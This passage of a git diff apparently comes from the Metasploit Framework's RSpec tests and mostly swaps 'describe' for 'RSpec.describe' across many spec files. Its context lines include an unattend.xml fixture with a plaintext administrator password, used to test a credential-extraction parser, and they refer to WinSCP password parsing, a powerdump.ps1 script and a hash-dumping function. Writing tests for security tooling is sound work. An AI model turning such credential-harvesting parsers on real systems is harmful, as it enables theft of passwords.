Rex::Parser::NmapXMLStreamParser.new total_hosts = 0 parser.on_found_host = Proc.new { |host| diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 8e1de52e94..6de56a4ac2 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -13,7 +13,7 @@ b64 = REXML::Document.new('<?xml version="1.0" encoding="utf-8"?> <unattend x comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="windowsPE"> <component name="Microsoft-Windows-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <WindowsDeploymentServices> <Login> <WillShowUI>OnError</WillShowUI> <Credentials> <Username>Administrator</Username> <Domain>Fabrikam.com</Domain> <Password>Password1</Password> </Credentials> </Login> <ImageSelection> <InstallImage> <ImageName>Install Image</ImageName> <ImageGroup>defaultx86</ImageGroup> <Filename>install.wim</Filename> </InstallImage> <WillShowUI>OnError</WillShowUI> <InstallTo> <DiskID>0</DiskID> <PartitionID>1</PartitionID> </InstallTo> </ImageSelection> </WindowsDeploymentServices> <DiskConfiguration> <WillShowUI>OnError</WillShowUI> <Disk> <DiskID>0</DiskID> <WillWipeDisk>false</WillWipeDisk> <ModifyPartitions> <ModifyPartition> <Order>1</Order> <PartitionID>1</PartitionID> <Letter>C</Letter> <Label>Vista</Label> <Format>NTFS</Format> <Active>true</Active> <Extend>false</Extend> </ModifyPartition> </ModifyPartitions> </Disk> </DiskConfiguration> </component> <component name="Microsoft-Windows-International-Core-WinPE" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SetupUILanguage> <WillShowUI>OnError</WillShowUI> <UILanguage>en-US</UILanguage> </SetupUILanguage> <UILanguage>en-US</UILanguage> </component></settings><settings pass="specialize"> <component name="Microsoft-Windows-UnattendedJoin" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <Identification> <UnsecureJoin>true</UnsecureJoin> </Identification> </component> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <ComputerName>computer1</ComputerName> </component> <component name="Microsoft-Windows-TerminalServices-RDP-WinStationExtensions" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SecurityLayer>2</SecurityLayer> <UserAuthentication>2</UserAuthentication> </component> <component name="Microsoft-Windows-TerminalServices-LocalSessionManager" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <fDenyTSConnections>false</fDenyTSConnections> </component></settings><settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <OOBE> <HideEULAPage>true</HideEULAPage> <NetworkLocation>Work</NetworkLocation> <ProtectYourPC>1</ProtectYourPC> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <Display> <ColorDepth>32</ColorDepth> <DPI>96</DPI> <HorizontalResolution>1024</HorizontalResolution> <RefreshRate>60</RefreshRate> <VerticalResolution>768</VerticalResolution> </Display> <UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>Password1</Value> <PlainText>true</PlainText> </Password> <Description>My Local Account</Description> <DisplayName>John Smith</DisplayName> <Group>Administrators;Power Users</Group> <Name>John</Name> </LocalAccount> </LocalAccounts> <DomainAccounts> <DomainAccountList> <DomainAccount> <Name>Administrator</Name> <Group>Administrators;Power Users</Group> </DomainAccount> <Domain>Fabrikam.com</Domain> </DomainAccountList> </DomainAccounts> </UserAccounts> </component></settings></unattend>') -describe Rex::Parser::Unattend do +RSpec.describe Rex::Parser::Unattend do context "#parse" do it "returns passwords for b64" do diff --git a/spec/lib/rex/parser/winscp_spec.rb b/spec/lib/rex/parser/winscp_spec.rb index bbe41a0512..3546f11c5c 100644 --- a/spec/lib/rex/parser/winscp_spec.rb +++ b/spec/lib/rex/parser/winscp_spec.rb @@ -17,7 +17,7 @@ Password=#{PASSWORD} Shell=/bin/bash} END -describe Rex::Parser::WinSCP do +RSpec.describe Rex::Parser::WinSCP do let(:target) do d = Class.new { include Rex::Parser::WinSCP } d.new diff --git a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb index 79b781efb0..6886111674 100644 --- a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb +++ b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/payloads/meterpreter/uri_checksum' -describe Rex::Payloads::Meterpreter::UriChecksum do +RSpec.describe Rex::Payloads::Meterpreter::UriChecksum do class DummyClass include Rex::Payloads::Meterpreter::UriChecksum end diff --git a/spec/lib/rex/post/meterpreter/client_core_spec.rb b/spec/lib/rex/post/meterpreter/client_core_spec.rb index 0773a58666..81364e6d2f 100644 --- a/spec/lib/rex/post/meterpreter/client_core_spec.rb +++ b/spec/lib/rex/post/meterpreter/client_core_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/post/meterpreter/client_core' -describe Rex::Post::Meterpreter::ClientCore do +RSpec.describe Rex::Post::Meterpreter::ClientCore do it "should be available" do expect(described_class).to eq(Rex::Post::Meterpreter::ClientCore) diff --git a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb index 4d336b617d..041b30b91b 100644 --- a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb +++ b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/extensions/priv/priv' -describe Rex::Post::Meterpreter::Extensions::Priv::Priv do +RSpec.describe Rex::Post::Meterpreter::Extensions::Priv::Priv do it "should be available" do expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Priv::Priv) diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb index e36c742a0a..6d96811ec8 100644 --- a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/post/meterpreter' require 'rex/post/meterpreter/extensions/stdapi/ui' -describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do +RSpec.describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do it "should be available" do expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Stdapi::UI) diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 9ffa2f1a46..2b57f4a098 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -3,7 +3,7 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet_parser' -describe Rex::Post::Meterpreter::PacketParser do +RSpec.describe Rex::Post::Meterpreter::PacketParser do subject(:parser){ Rex::Post::Meterpreter::PacketParser.new } diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 40da740f0a..ce575adceb 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'rex/post/meterpreter/packet' -describe Rex::Post::Meterpreter::Tlv do +RSpec.describe Rex::Post::Meterpreter::Tlv do subject(:tlv) { Rex::Post::Meterpreter::Tlv.new( Rex::Post::Meterpreter::TLV_TYPE_STRING, @@ -124,7 +124,7 @@ describe Rex::Post::Meterpreter::Tlv do end -describe Rex::Post::Meterpreter::GroupTlv do +RSpec.describe Rex::Post::Meterpreter::GroupTlv do subject(:group_tlv) { Rex::Post::Meterpreter::GroupTlv.new( Rex::Post::Meterpreter::TLV_TYPE_CHANNEL_DATA_GROUP @@ -363,7 +363,7 @@ describe Rex::Post::Meterpreter::GroupTlv do end end -describe Rex::Post::Meterpreter::Packet do +RSpec.describe Rex::Post::Meterpreter::Packet do context "Request Packet" do subject(:packet) { Rex::Post::Meterpreter::Packet.new( diff --git a/spec/lib/rex/post/meterpreter/ui/console.rb b/spec/lib/rex/post/meterpreter/ui/console.rb index bd0d7d76a4..f63e225cfc 100644 --- a/spec/lib/rex/post/meterpreter/ui/console.rb +++ b/spec/lib/rex/post/meterpreter/ui/console.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/post/meterpreter/ui/console' -describe Rex::Post::Meterpreter::Ui::Console do +RSpec.describe Rex::Post::Meterpreter::Ui::Console do subject(:console) do Rex::Post::Meterpreter::Ui::Console.new(nil) diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb index ef7d53faa3..a3967a885d 100644 --- a/spec/lib/rex/post/meterpreter_spec.rb +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/post/meterpreter' -describe MetasploitPayloads do +RSpec.describe MetasploitPayloads do it 'is available' do expect(described_class).to eq(MetasploitPayloads) end diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb index 4e854bce22..873c226368 100644 --- a/spec/lib/rex/powershell/command_spec.rb +++ b/spec/lib/rex/powershell/command_spec.rb @@ -6,7 +6,7 @@ def decompress(code) Rex::Powershell::Script.new(code).decompress_code end -describe Rex::Powershell::Command do +RSpec.describe Rex::Powershell::Command do let(:example_script) do File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1") end diff --git a/spec/lib/rex/powershell/function_spec.rb b/spec/lib/rex/powershell/function_spec.rb index ee73f24273..8af62718fd 100644 --- a/spec/lib/rex/powershell/function_spec.rb +++ b/spec/lib/rex/powershell/function_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Function do +RSpec.describe Rex::Powershell::Function do let(:function_name) do Rex::Text.rand_text_alpha(15) diff --git a/spec/lib/rex/powershell/obfu_spec.rb b/spec/lib/rex/powershell/obfu_spec.rb index 6844e8f0ed..a56376c7d2 100644 --- a/spec/lib/rex/powershell/obfu_spec.rb +++ b/spec/lib/rex/powershell/obfu_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Obfu do +RSpec.describe Rex::Powershell::Obfu do let(:example_script_without_literal) do """ diff --git a/spec/lib/rex/powershell/output_spec.rb b/spec/lib/rex/powershell/output_spec.rb index 132fca6e47..db535640e9 100644 --- a/spec/lib/rex/powershell/output_spec.rb +++ b/spec/lib/rex/powershell/output_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Output do +RSpec.describe Rex::Powershell::Output do let(:example_script) do Rex::Text.rand_text_alpha(400) diff --git a/spec/lib/rex/powershell/param_spec.rb b/spec/lib/rex/powershell/param_spec.rb index ee7b406959..da7cc4e8dd 100644 --- a/spec/lib/rex/powershell/param_spec.rb +++ b/spec/lib/rex/powershell/param_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Param do +RSpec.describe Rex::Powershell::Param do let(:param_name) do Rex::Text.rand_text_alpha(15) diff --git a/spec/lib/rex/powershell/parser_spec.rb b/spec/lib/rex/powershell/parser_spec.rb index 951dea3091..086b653ff4 100644 --- a/spec/lib/rex/powershell/parser_spec.rb +++ b/spec/lib/rex/powershell/parser_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Parser do +RSpec.describe Rex::Powershell::Parser do let(:example_script) do """ diff --git a/spec/lib/rex/powershell/psh_methods_spec.rb b/spec/lib/rex/powershell/psh_methods_spec.rb index 04f4d433fb..ddfa717e17 100644 --- a/spec/lib/rex/powershell/psh_methods_spec.rb +++ b/spec/lib/rex/powershell/psh_methods_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::PshMethods do +RSpec.describe Rex::Powershell::PshMethods do describe "::download" do it 'should return some powershell' do diff --git a/spec/lib/rex/powershell/script_spec.rb b/spec/lib/rex/powershell/script_spec.rb index 833746e824..c770070c9c 100644 --- a/spec/lib/rex/powershell/script_spec.rb +++ b/spec/lib/rex/powershell/script_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Output do +RSpec.describe Rex::Powershell::Output do let(:example_script) do Rex::Text.rand_text_alpha(400) diff --git a/spec/lib/rex/powershell_spec.rb b/spec/lib/rex/powershell_spec.rb index aee94c43c4..7cc4276710 100644 --- a/spec/lib/rex/powershell_spec.rb +++ b/spec/lib/rex/powershell_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell do +RSpec.describe Rex::Powershell do let(:example_script) do """function DumpHashes diff --git a/spec/lib/rex/proto/acpp/message_spec.rb b/spec/lib/rex/proto/acpp/message_spec.rb index 97e5569d39..b1860a7bc9 100644 --- a/spec/lib/rex/proto/acpp/message_spec.rb +++ b/spec/lib/rex/proto/acpp/message_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/acpp' -describe Rex::Proto::ACPP::Message do +RSpec.describe Rex::Proto::ACPP::Message do subject(:message) do described_class.new diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 14f13a776d..a6b1a41e03 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -81,7 +81,7 @@ shared_examples "uri_full_url" do end -describe Rex::Proto::Http::ClientRequest do +RSpec.describe Rex::Proto::Http::ClientRequest do default_options = { # All of these should be what you get when you pass in empty diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 82d53762ed..fcb4f5d105 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -5,7 +5,7 @@ require 'rex/proto/http/client' # connection to 127.0.0.1:1. If you have some crazy local # firewall that is dropping packets to this, your tests # might be slow. I wonder how Travis-CI will react to this... -describe Rex::Proto::Http::Client do +RSpec.describe Rex::Proto::Http::Client do class << self diff --git a/spec/lib/rex/proto/http/packet/header_spec.rb b/spec/lib/rex/proto/http/packet/header_spec.rb index d6da40de0c..62610db6e8 100644 --- a/spec/lib/rex/proto/http/packet/header_spec.rb +++ b/spec/lib/rex/proto/http/packet/header_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/http/packet/header' -describe Rex::Proto::Http::Packet::Header do +RSpec.describe Rex::Proto::Http::Packet::Header do it_behaves_like "hash with insensitive keys" diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb index 8fac5eebcd..2e7e4ba873 100644 --- a/spec/lib/rex/proto/http/packet_spec.rb +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/http/packet' -describe Rex::Proto::Http::Packet do +RSpec.describe Rex::Proto::Http::Packet do it_behaves_like "hash with insensitive keys" describe "#parse" do diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 0b9ec02a58..643475e48d 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -1,7 +1,7 @@ require 'rex/proto/http/response' require 'nokogiri' -describe Rex::Proto::Http::Response do +RSpec.describe Rex::Proto::Http::Response do let(:get_cookies_test_no_cookies) do <<-HEREDOC.gsub(/^ {6}/, '') diff --git a/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb b/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb index 645c209698..8153550cea 100644 --- a/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb +++ b/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/bootstrap_request' -describe Rex::Proto::Kademlia::BootstrapRequest do +RSpec.describe Rex::Proto::Kademlia::BootstrapRequest do subject(:bootstrap) do described_class.new end diff --git a/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb b/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb index e0a49e0ed2..87a1dd0881 100644 --- a/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb +++ b/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/bootstrap_response' -describe Rex::Proto::Kademlia::BootstrapResponse do +RSpec.describe Rex::Proto::Kademlia::BootstrapResponse do describe '#from_data' do it 'properly decodes real valid bootstrap responses' do data = IO.read(File.join(File.dirname(__FILE__), 'kademlia_bootstrap_res.bin')) diff --git a/spec/lib/rex/proto/kademlia/message_spec.rb b/spec/lib/rex/proto/kademlia/message_spec.rb index 90d3c43746..ad03c15e65 100644 --- a/spec/lib/rex/proto/kademlia/message_spec.rb +++ b/spec/lib/rex/proto/kademlia/message_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/kademlia/message' -describe Rex::Proto::Kademlia::Message do +RSpec.describe Rex::Proto::Kademlia::Message do context 'with a body' do let(:type) { 1 } diff --git a/spec/lib/rex/proto/kademlia/ping_spec.rb b/spec/lib/rex/proto/kademlia/ping_spec.rb index 35baa2ca8f..7c9ffd432c 100644 --- a/spec/lib/rex/proto/kademlia/ping_spec.rb +++ b/spec/lib/rex/proto/kademlia/ping_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/ping' -describe Rex::Proto::Kademlia::Ping do +RSpec.describe Rex::Proto::Kademlia::Ping do subject(:ping) do described_class.new end diff --git a/spec/lib/rex/proto/kademlia/pong_spec.rb b/spec/lib/rex/proto/kademlia/pong_spec.rb index 898ae76fd9..fff0b1dcc6 100644 --- a/spec/lib/rex/proto/kademlia/pong_spec.rb +++ b/spec/lib/rex/proto/kademlia/pong_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/pong' -describe Rex::Proto::Kademlia::Pong do +RSpec.describe Rex::Proto::Kademlia::Pong do let(:port) { 12345 } subject(:pong) do described_class.new(port) diff --git a/spec/lib/rex/proto/kademlia/util_spec.rb b/spec/lib/rex/proto/kademlia/util_spec.rb index 9c3e250343..e81f0896bb 100644 --- a/spec/lib/rex/proto/kademlia/util_spec.rb +++ b/spec/lib/rex/proto/kademlia/util_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/util' -describe Rex::Proto::Kademlia do +RSpec.describe Rex::Proto::Kademlia do describe '#decode_peer_id' do subject(:kad) { described_class.decode_peer_id(bytes) } diff --git a/spec/lib/rex/proto/kerberos/client_spec.rb b/spec/lib/rex/proto/kerberos/client_spec.rb index ea15bea8e7..a1609107d9 100644 --- a/spec/lib/rex/proto/kerberos/client_spec.rb +++ b/spec/lib/rex/proto/kerberos/client_spec.rb @@ -14,7 +14,7 @@ class MyStringIO < StringIO end end -describe Rex::Proto::Kerberos::Client do +RSpec.describe Rex::Proto::Kerberos::Client do before :each do allow(Rex::Socket::Tcp).to receive(:create) do s = '' diff --git a/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb index 92312a0f46..0844fb0dee 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Cache do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Cache do subject(:cache) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb index a2fe2b0e7a..682d9f297f 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Credential do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Credential do subject(:credential) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb b/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb index 168745cca5..651810a206 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::KeyBlock do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::KeyBlock do subject(:key_block) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb index c474ab56ca..653c2601e1 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Principal do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Principal do subject(:principal) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb index 615592cd6d..2f419c3591 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Time do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Time do subject(:time) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb b/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb index 327eaa01f9..9c9f547882 100644 --- a/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::ApReq do +RSpec.describe Rex::Proto::Kerberos::Model::ApReq do subject(:ap_req) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb b/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb index 89e60a51d3..f341672f27 100644 --- a/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::Authenticator do +RSpec.describe Rex::Proto::Kerberos::Model::Authenticator do subject(:authenticator) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb b/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb index 99f2248ddb..67b24aad1e 100644 --- a/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::AuthorizationData do +RSpec.describe Rex::Proto::Kerberos::Model::AuthorizationData do subject(:authorization_data) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/checksum_spec.rb b/spec/lib/rex/proto/kerberos/model/checksum_spec.rb index 6f0fd93923..310fb4c785 100644 --- a/spec/lib/rex/proto/kerberos/model/checksum_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/checksum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::Checksum do +RSpec.describe Rex::Proto::Kerberos::Model::Checksum do subject(:checksum) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb b/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb index f7899b215b..2166aa1c1f 100644 --- a/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::EncKdcResponse do +RSpec.describe Rex::Proto::Kerberos::Model::EncKdcResponse do subject(:enc_kdc_response) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb index 18e65096ac..cdbc0d5b00 100644 --- a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb @@ -5,7 +5,7 @@ require 'openssl' require 'rex/text' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::EncryptedData do +RSpec.describe Rex::Proto::Kerberos::Model::EncryptedData do subject(:encrypted_data) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb index 4f94425f4f..93715575f5 100644 --- a/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KdcRequestBody do +RSpec.describe Rex::Proto::Kerberos::Model::KdcRequestBody do subject(:kdc_request_body) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb index 834815cf33..c27e55e614 100644 --- a/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KdcRequest do +RSpec.describe Rex::Proto::Kerberos::Model::KdcRequest do subject(:kdc_request) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb index 901ab60f7d..4e04a81c5a 100644 --- a/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KdcResponse do +RSpec.describe Rex::Proto::Kerberos::Model::KdcResponse do subject(:kdc_response) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb b/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb index 864feac4ef..c73fb9b6bf 100644 --- a/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KrbError do +RSpec.describe Rex::Proto::Kerberos::Model::KrbError do subject(:krb_error) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb index e4f9270027..475413453e 100644 --- a/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PreAuthData do +RSpec.describe Rex::Proto::Kerberos::Model::PreAuthData do subject(:pre_auth_data) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb index bac408818e..e0289c6471 100644 --- a/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp do +RSpec.describe Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp do subject(:pre_auth_enc_time_stamp) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb index 582224a8e7..062a287755 100644 --- a/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PreAuthPacRequest do +RSpec.describe Rex::Proto::Kerberos::Model::PreAuthPacRequest do subject(:pre_auth_pac_request) do described_class.new diff --git 